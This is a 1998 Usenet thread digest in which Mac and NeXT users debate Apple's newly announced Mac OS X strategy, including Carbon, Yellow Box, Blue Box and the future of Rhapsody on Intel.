Date: 12 May 1998 18:47:48 -0400
Organization: Interport Communications Corp.
Message-ID: <6jajik$mgb$1@interport.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu>
Matt Casselman (mcasse@rs6000.cmp.ilstu.edu) wrote:
: In article <6j9egu$19r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
: > Completely wrong. _Both_ APIs will be available in Carbon, as has been
: > specifically stated, both on Stepwise and by an Apple engineer here.
: >
: MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
: (NeXT). MacOS X is macOS on Mach.
And 4.4BSD (libc/syscalls), and MacOS for non-Carbonized apps, and the
bare Mach interface . . .
Two top-level APIs, maybe, though I'm sure a lot of people will be running
code right on top of the 4.4BSD layer, since there's an awful lot of BSD
code around that does stuff that no MacOS application does.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 18:51:51 -0400
Organization: Interport Communications Corp.
Message-ID: <6jajq7$mnk$1@interport.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com>
Kristofer Jon Magnusson (kris@xmission.xmission.com) wrote:
: In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
: Rhapsody isn't vapor. But it is stillborn, at least the Intel version.
Don't say that. The network I administer is mostly for running a NeXTStep
application on NSFIP 3.3, though we're about to go to 4.2. Our app vendor
is discontinuing development on OPENSTEP in favor of Irix and NT.
Since we can't afford to go Irix, and NT gives me Big Fear, I'm going to
try to talk the app vendor into supporting a Rhapsody version. Carbon
couldn't be less relevant to this.
: If MacOS X was slated to run on Intel, then I wouldn't care about losing
: Rhapsody, because then I would still be able to ditch my Win NT
: installations on decent, low-priced hardware in favor of essentially an
: updated version of NEXTSTEP on Intel.
Rhapsody will still run on Intel, just sans Blue Box^H^H^H^H^H^H^H^HCarbon
-- which was the plan all along, I believe.
--
Ben
<Just Another System Administrator>
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 22:07:25 GMT
Organization: I don't think so
Message-ID: <slrn6lhi7g.mi.jason@jhste1.dyn.ml.org>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com> <6jaev0$h9c$1@larry.admin.phil.uu.nl>
Freek Wiedijk posted the following to comp.sys.mac.advocacy:
>>Rhapsody buggy?
>The blue box is setuid root. That's a _big_ bug.
Why did they do _that_?
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: 12 May 1998 23:09:57 GMT
Organization: University of Pittsburgh
Message-ID: <pxpst2-1203981917020001@pelli.pathology.pitt.edu>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
this with '@'> yahoo.com wrote:
> Why are they porting the old-fangled MacOS Toolbox to Rhapsody?
It is important to realize that the whole toolbox or MacOS APIs are NOT
being ported. Most of the APIs that are going over are actually rather
modern and could easily withstand the journey. The "old fangled" ones are
getting "steved"
>
> What I hope has not been Steved:
>
> * Yellow Box API
> * BSD
> * running on Intel
All are well, Do not worry.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <cdoutyEsv72o.4Dw@netcom.com>
Organization: Netcom
References: <ericb-1105981718430001@132.236.171.104> <st942593-1205980048190001@129.64.124.199> <rmcassid-1105982346510001@dialin33418.slip.uci.edu> <6ja08e$rat$1@interport.net>
Date: Tue, 12 May 1998 22:13:35 GMT
Sender: cdouty@netcom10.netcom.com
In article <6ja08e$rat$1@interport.net>, <float@interport.net> wrote:
>Robert Cassidy (rmcassid@uci.edu) wrote:
>
>: But will we get Carbon based Bolo?
>
>What's Bolo?
Oh. A young 'un.
Bolo is a cool tank game. The first implementation I recall was for the
Apple II. There was a later version with network play and nifty features
for the Mac. I definitely want Bolo. :-)
It's a funny joke because Bolos, the name of the mythical tank in the
game, were AI-driven totally automatic tanks. Really. It's a funny
joke. In that vein, forget the Bolo, I want a Carbon-based Ogre. 38^)
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 16:16:39 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558BC37.F3B6CEC2@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com> <mcasse-2708561354130001@line8047.ras.ilstu.edu>
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Matt Casselman wrote:
> > It seems clear to me that carbon apps will ship for Intel...
> Carbon IS NOT on Intel. Apple has said that. Carbon is just the MacOS
> not Yellow Box. Carbon is MacOS. Yellow Box is Yellow Box. RHapsody is
> rhapsody. Really simple.
And an API is not A OS. You seem to be confused. Like the rest in the
reality distortion field. Hopefully, after the exposure to the field ends,
the G3/no G3 and Yellowbox targets will be answered...
Or perhaps you arn't confused:
"MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
(NeXT). MacOS X is macOS on Mach."
Here you have the API is an API.
Just repeat:
"Ignorance is knowledge" over and over.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<35586C56.B68E310F@milestonerdl.com> <6jaj0r$m32$1@interport.net>
Message-ID: <_L461.1954$sy4.3560932@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 23:17:14 GMT
NNTP-Posting-Date: Tue, 12 May 1998 16:17:14 PDT
Organization: @Home Network
In <6jaj0r$m32$1@interport.net> float@interport.net wrote:
> M Rassbach (mark@milestonerdl.com) wrote:
>
> : Rex Riley wrote:
>
> : Now, I'm not a lawyer, but I'll play one, today only, on the 'net.
>
> : As *I* understand the BSD licence....they can take any code they want,
they just
> : have to CREDIT the source, and not use the source as part of a marketing
scheme,
> : plus hold them harmless.
>
> I'm not a lawyer either, but I'm familiar with legal jargon, I've read the
> BSD license, and I hang out on the FreeBSD mailing lists, and I am as
> certain as I am of anything that using BSD code does not commit a
> developer to releasing their code.
>
> See the InterJet at http://www.whistle.com for a good example of a
> non-open-source commercial project based on BSD code.
>
>
>
This whole train of thought is bogus on my part. My apologies for wasting
bandwidth. The OS under MacOS X is Macintosh. Pure and simple Mac, improved
fundamentally, but a single user desktop.
RhapsosdyOS "the server" will remain BSD. There is no inter-marriage
necessary to pull off MacOS X, which is where my understanding was flawed.
-r
From: spamcan@iswest.com
Organization: Internet Specialties West, Inc.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cmsg cancel <3558BC37.F3B6CEC2@milestonerdl.com>
Date: 12 May 1998 22:28:06 GMT
Control: cancel <3558BC37.F3B6CEC2@milestonerdl.com>
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Spam cancelled. Autocancel spam type: spam
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cmsg cancel <cdoutyEsv72o.4Dw@netcom.com>
Date: 12 May 1998 22:28:07 GMT
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From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Tue, 12 May 1998 16:20:45 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558BD2D.264074FB@milestonerdl.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
Mime-Version: 1.0
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Andy Templeman wrote:
> Everybody is shouting about how Rhapsody has been 'Steved'.
>
> From reading all that Apple has published - and this is only the start
> of WWDC week - it strikes me that rhapsody has just been given a bit
> more functionality.
>
> Original Rhapsody Plan
> (still to be released as CR1) Q3/98
>
> +-----------------------+
> | |
> | Yellow |
> |--------+ Box |
> | Blue | |
> | Box | |
> | | +-----|
> | | | DPS |
> |-----------------------|
> | Mach |
> | |
> +-----------------------+
>
> New Rhapsody
> (To be Released as Mac OS X) Q1/99 (beta) Q3/99 final
>
> +-----------------------+-------+
> | | C |
> | Yellow | a |
> |--------+ Box | r |
> | Blue | | b |
> | Box | | o |
> | | +-----| n |
> | | | DPS | |
> |-------------------------------|
> | Mach |
> | |
> +-------------------------------+
One other 'view' was
+-----------------------+-------+
| Yellow Box |
| |
|--------+ |
| Blue | Carbon |
| Box | |
| | +-----+ |
| | | DPS | |
|-------------------------------|
| Mach |
| |
+-------------------------------+
Oh, which is it?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 16:22:55 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558BDAF.EEBB45C5@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com>
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Kristofer Jon Magnusson wrote:
> In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
>
> : Why? Rhapsody is still coming out when it was before, and it'll still do
> : the things it did before.
>
> Except that on Sunday, developing for Apple on Intel had a future. Today
> it does not.
And so far, no one has provided convincing information to the contrary.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Tue, 12 May 1998 18:33:27 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1205981833270001@news-proxy.cso.uiuc.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net>
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In article <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> Ok, from what I've read on various web pages and posts in this group,
> MacOS X seems to be very close to what I want in an OS. Updated Mac UI,
> always good. Backwards compatible, good. Easy porting to "new"
> architecture, good. "New" apps run on old Systems sans new features, good.
> Buzzword compliant, excellent.
>
> But, what about a state-of-the-art development environment, and
> cross-platform compatility? I see what may be a pretty easy soloution to
> these two problems.
>
> For the first, assuming OSX's buzzword-compliance is achieved via the Mach
> kernel, it should be a very simple matter to include the Yellow Box APIs
> in Carbon, correct? So, allow older apps to run sans buzzwords, make it
> easy to add buzzword-compliance to current apps, and encourage future apps
> to use the advanced API set.
Yes. In fact take a look at:
"Rhapsody contains technologies key to Mac OS X, including a
microkernel-based core OS and an advanced software development
environment."
<http://www.apple.com/pr/library/1998/may/11strategy.html>
These in addition to comments made on StepWise have been confirmed by
people at Apple as meaning Yellow Box and Mach will be part of Mac OS X.
What that means is that Mac OS X is Rhapsody renamed and Carbon added. All
these announcements do not mean then end of Rhapsody, but rather
essentially mean the end of Mac OS!!! Apple has announced this in such a
way as to keep all the Mac OS faithful from panicking. IMHO, Apple has done
something very clever and pulled it off quite skillfully.
> For the second, rumor has it that much of the MacOS has already been
> ported to the Intel architecture, in the form of Star Trek and QuickTime.
> Could this not also be modified into Carbon, then plopped on top of Mach,
> along with Yellow Box, and allow a simple recompile for anything using
> Carbon+YB, to OSX/PPC, OSX/Intel, or Win9x/NT? And if/when Merced becomes
> popular, port to that too.
Carbon is basically a dead end technology as I see it. It is a way for
backwards compatibility that allows these legacy apps to make use of PMT,
PM, and better VM. The real developments and imrpovements will happen on
Yellow Box. That is where the future is. Carbon is just an interim
solution.
Carbon will most likely no make it to Rhapsody/Intel or Windows. There's no
particular reason for it when there's the Yellow Box. The Yellow Box
retains all its cross platform abilities and ease of programming
advantages. Carbon APIs are just the old Mac OS APIs warmed over.
> As a side note, they should drop the "Mac" from the name and simple call
> it "OSX for PowerPC", "OSX for x86" (what's the official name for the
> Intel-based architecture [Pentium, AMD, Cyrix, etc], anyway?), "OSX for
> Windows", etc. And then have "Lite" (pure YB, for NCs/PDAs/etc) and "Pro"
> (plus BSD & dev/server tools) versions as well.
There will probably always be some form of Rhapsody on Intel. It will
probably never include Blue Box or Carbon. The names may change though. Mac
OS X is just Rhapsody renamed.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: float@interport.net
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Followup-To: comp.sys.next.programmer,comp.sys.next.advocacy
Date: 12 May 1998 18:33:40 -0400
Organization: Interport Communications Corp.
Message-ID: <6jaio4$lon$1@interport.net>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com>
macghod@concentric.net wrote:
: Zoneraiders is out, and it is for rhapsody for ppc ONLY. I thought
: something written for rhapsody would work on BOTH rhapsodies? And openstep
: as well? Why in gods name would zoneraiders be ppc only?
OPENSTEP apps are supposed to work on Rhapsody, but I haven't heard
anything suggesting the reverse is true.
: A while ago on a thread on the developer program, I said I thought
: programmers would need rhapsody to develop for rhapsody, and the openstep
: programmers wondered why everyone would think apps have to be written
: differently to work on rhapsody. Do they or dont they?
The official word is that OPENSTEP apps will run on Rhapsody. I don't
know whether that's source compatibility or binary compatibility.
--
Ben
<Just Another System Administrator>
Message-ID: <3558D8A6.CEAE018E@adr.dk>
Date: Wed, 13 May 1998 01:18:02 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
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Steve Kellener wrote:
> I think everybody is confusing things here. Here's what I see from the
> outlined plan.
[snip]
> Let me know what you think.
Sounds reasonable to me!
What I'm most interested in, is to know if the coordinates of the windows,
objects, etc has changed.
I imagine that new calls were implemented, AND that old MacOS calls like
NewWindow are emulated and translated into a new fashion.
Say, the coordinate system may be more up to date like..
x, y, width, height. (GEM, this was one of the best ways to describe a
rectangle I think.)
On NeXT Step the coordinates start in the bottom left corner and I think they
were x,y coordinates. Rhapsody was promised compatible to the NeXT Step
applications (at source-code level), so you only had to press the compile
button to build an application.
-Does anybody know /why/ the rectangles on the old system x.x.x were chosen to
be "Top, Left, Bottom, Right" ??
Hey, cool, this message ends up in a NeXT group, great!
-WoF-
Date: Tue, 12 May 1998 17:04:23 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <stevehix-1205981704230001@ip21.safemail.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <35586C56.B68E310F@milestonerdl.com> <6jaj0r$m32$1@interport.net> <_L461.1954$sy4.3560932@news.rdc1.sdca.home.com>
In article <_L461.1954$sy4.3560932@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> This whole train of thought is bogus on my part. My apologies for wasting
> bandwidth. The OS under MacOS X is Macintosh. Pure and simple Mac, improved
> fundamentally, but a single user desktop.
Carbon API resides on top of Rhapsody, alongside the YB.
Not "pure and simple Mac", except at the very top level.
From: spamcan@iswest.com
Organization: Internet Specialties West, Inc.
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From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Did Steve Jobs really say this? [Intel Question]
Date: Tue, 12 May 1998 18:14:19 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558D7CB.35A236B3@milestonerdl.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net> <ufu36vf6fq.fsf_-_@ftp.ardi.com>
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Clifford T. Matthews wrote:
> If Apple says it's dead, that will settle it.
And after killing the Newton:
"Discontinuing Newton development was a painful decisio
n for Apple to make, but it is still a viable part of our offerings," said Steve
Zalot, an advisory systems engineer at the Cupertino, Calif.-based company.
So, even when DEAD, its still viable.
> NOTE: If
> Apple says it's alive, that *doesn't* settle it.
What a company to be partnered with eh?
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 17:26:21 -0700
Message-ID: <see-below-1205981726220001@209.24.240.213>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
In article <6j9eb8$197$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <markeaton-1105982335100001@209.86.154.31>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>
> > In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > It needs to be stated very clearly: Carbon is *not* the blue box, nor a
> > blue box derivative, nor based on blue box technologies.
>
> So, what, it's a clean-room reimplementation of a subset of the MacOS
> APIs?? This seems unlikely. It sounds more like they took the Blue
> Box on Mach and removed some of the cruft that would violate memory
> protection and prevent other Mach features from being fully enabled.
>
> But I could be grossly in error, and probably am. :) Anyone have
> hard information to the contrary?
My guess is it's very different from Blue Box in that instead of actually
running MacOS, it's just a "thin" layer in which Mac API calls are routed
to the Mach kernel. (or possibly translated into Yellow calls?) Sort of
how YB apps work on Windows - they're not running the whole OS
(OpenStep/Mach for Intel) in a virtual machine there, just routing the
OS/YB calls to the appropriate Windows calls.
Blue Box is just a virtual machine that contains a fully-funcioning
Macintosh, including the OS, Finder, Extensions, etc. Carbon sounds very
different.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
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From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 17:02:28 -0700
Message-ID: <see-below-1205981702280001@209.24.240.213>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <355b6dda.12226593@198.0.0.100>
In article <355b6dda.12226593@198.0.0.100>, nhughes@sunflower.com wrote:
> On or about 12 May 1998 19:06:26 GMT, in comp.sys.mac.advocacy
> jcr.remove@this.phrase.idiom.com (John C. Randolph) exclaimed :
>
> <s>
>
> >MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
> >Good Thing. The MacOS is way past its prime.
>
> So you are saying for sure that macos10 will be cross platform and
> applications written for it's principle API will only require a
> recompile to work on 90% of computers? Those are Rhapsody's strongest
> points when it comes to keeping apple relevant.
So long as Yellow Box is still available, yes. And nobody is talking about
abandoning YB. (Carbon just replaces Blue Box)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: One Big Q for MacOS X: Multiuser?
Date: 13 May 1998 00:21:35 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lhpsf.isf.mbkennel@lyapunov.ucsd.edu>
As the title says, there is one big question regarding MacOS X:
Is the idea of 'multiple users' understood natively?
Under OpenStep, it's the BSD layer which groks the concept of UID's, which
is pretty neccessary for password logins and network mounts et cetera.
UIDs have to carry along as part of the process structure.
Is that still there in Carbon?
There really do need to be APIs which comprehend UID's, as well as a
filesystem which does the same too.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 16:06:32 -0700
Organization: Trilithon Research and Trading
Message-ID: <3558D5F8.6E98447A@trilithon.com>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk> <B17DBA51-CA75@206.165.43.129> <35586EAB.EF7C8EF7@trilithon.com> <slrn6lguc3.6a2.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
* Henry McGilton wrote:
* * Shame that X-Windows didn't go the same way.
* You misspelled "Microsoft" as "X-" (incidentally,
* there's no such thing as "X-Windows").
I know that --- calling it X-Windows pisses off the X-Windows
propellor heads, and while they're pissed off, their abilty
to foist more bad UI on the world is diminished.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 00:24:56 GMT
Organization: I don't think so
Message-ID: <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com>
M Rassbach posted the following to comp.sys.mac.advocacy:
>Or, better yet :-) Someone grabs the Carbon API and does a
>Berkley-licensed implementation. That would show Apple eh?
Ouch - then MS could use it (and make it incompatible with Apple's
version). A Berkeley license offers no protection from MS.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: 12 May 1998 23:20:44 GMT
Organization: University of Pittsburgh
Message-ID: <pxpst2-1203981927480001@pelli.pathology.pitt.edu>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu> <3557556B.4D48191F@milestonerdl.com>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <3557556B.4D48191F@milestonerdl.com>, mark@milestonerdl.com wrote:
> Matt Kennel wrote:
>
> > Why are they porting the old-fangled MacOS Toolbox to Rhapsody?
> >
> > There's essentially only one--very important--reason.
> >
> > MS Office life support.
>
> Wow! What a spin on carbon.
This is not a spin this is the truth. If Apple ordered all developers to
use Yellow Box APIs and not those MacOS APIs that you guys are using or
your programs will not run on our new great OS. You will not be in
business for long , WOULD YOU?
>
> > What I hope has not been Steved:
> >
> > * Yellow Box API
>
> Can't kill that...only support for it.
"Support it", what the hell does that mean. Yellow Box APIs will all be
their, right inside the MacOSX and yes they will be running on top of a
MAchKernal.
Interesting, Apple has done such a good job Hiding the Blue Box that
peaple think it is the Yellow box that left.
>
> > * BSD
>
> Rumor....am hoping there will be some announcemnts on this.
BSD4.4 will be there.
>
> > * running on Intel
>
> Offically - it's NT 4.0/Win95/Intel for Rhapsody.
>
> If MacOS 10 is the eventually destination of Rhapsody on PPC, what's the
endgame
> for Intel Rhapsody?
Developers that decide to use the full featured set of Yellow box APIs
will be able to Market their wares to 85% of the personal computing
public. And guess what? Peaple who decide to use those apps on an Apple
will be able to as well. Everybody wins.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why not Carbon/Intel?
Date: Tue, 12 May 1998 18:27:15 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558DAD3.8B137708@milestonerdl.com>
References: <8EEF451.09B60071D7.uuout@relaynet.org>
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The biggest 'problem' that I saw for Apple was that supporting OpenSTEP
(YellowBOX) on Intel/HP-UX/Solaris/MacOS was that Intel/HP-UX/Solaris wasn't
MacOS hardware.
So MacOS will stay in it's 'protected Niche state' by not being cross-platform.
The statement of Apple's "YellowBox is the Future of MacOS" may have truth, but
at the cost of cross-platform.
SHEPPARD GORDON wrote:
> Why is Apple not considering implementing Carbon on top of Rhapsody/Intel?
>
> To do so makes the possibility that Carbon-clean apps could be ported to
> Rhapsody/Intel, yes?
>
> To not do this seems to doom Rhapsody/Intel's continued viability and support
> (given Apple's statements that Rhapsody is a stepping stone to MacOS X), no?
>
> Could someone clear this up? Or is it possible that a clear answer is not yet
> forthcoming?
>
> -> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 12 May 1998 23:24:54 GMT
Organization: Michigan State University
Message-ID: <6jalo6$k11$1@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
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Cc: galexand@ozemail.com.au
In <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> "Greg Alexander"
wrote:
> Eric Bennett wrote in message ...
> >Steve reminds us that MacOS is the "crown jewels" of Apple, and
Rhapsody
> >is, more or less, an afterthought.
>
> Actually, he said in closing:
> "And this is our Crown Jewel - MacOS. And we are gonna have 2 great
> versions of Mac OS - we'll see if they intersect in the future."
> Earlier he had said "from then on, Rhapsody transitions into Mac OS
X."
>
> 2 versions! So that would mean apple has a 2 OS strategy, but
> they're both called Mac OS..... hmmmm....
>
> *98Q3 - Mac OS 8.5 (+ beta Carbon? - they're both final in 3 months)
> 98Q3 - Rhapsody 1 (+ beta Carbon?)
> *99Q1 - Mac OS 8.6 (+ real Carbon?)
> 99Q1 - Mac OS X beta
> *99Q3 - Mac OS / Sonata (aka 9?)
> 99Q3 - Mac OS X
>
> We could be running Carbon on Rhapsody 1 and Allegro this September!
> Wouldn't we then have _everything_ Mac OS X will have?????
>
> If we do get Rhapsody+Carbon in August - why downgrade to Mac OS X
> in 1999? (IF we lose DPS & Unix & Cross platform abilities)
Agreed. Hopefully Apple will demonstrate a WYSIWIG like X solution :)
or offer a DPS WindowServer package. As to cross platform that is
still uncertian - see below.
> >Big unanswered question from today: what happens to Rhapsody and the
> >Yellow Box? Will Apple have an OS with simple cross-compilation for
PPC
> >and x86, and will that be MacOS X or Rhapsody? Or both or neither?
Still unanswered. Shows how crappy the keynote speech was at clearing
things up. Sigh. Can't Steve just ever let us know what the plans are
and
why they are that way, and how they will be realized?
> Good questions. I guess we'll see.
>
> I know that Apple could put together an okay underlying system - just
> like MS has with NT. But to me the attraction of Rhapsody is
> it's Unix underpinnings with Mac ease-of-use, and I don't
> want Apple rewriting it. To others it's the DPS. Others like
> the YB cross platform. What still lives?
>
> We'll see soon.
> Greg
>
I almost flew off the handle based on some rumors I've heard also about
YB.
First I suggest everyone take a deep breath and read Scott Anguish's
Monday summary.
http://www.stepwise.com/SpecialCoverage/WWDC98/Monday.html
From the following comments and everything I've read the Press is ready
to hammer Apple. I would have to fault Jobs not making things crystal
clear to everyone. The bad press on this will not be easily overcome.
First. Clearly Apple is having a problem migrating MacOS developers
to the Openstep or "YB" API's. It's a tough job, and even the big
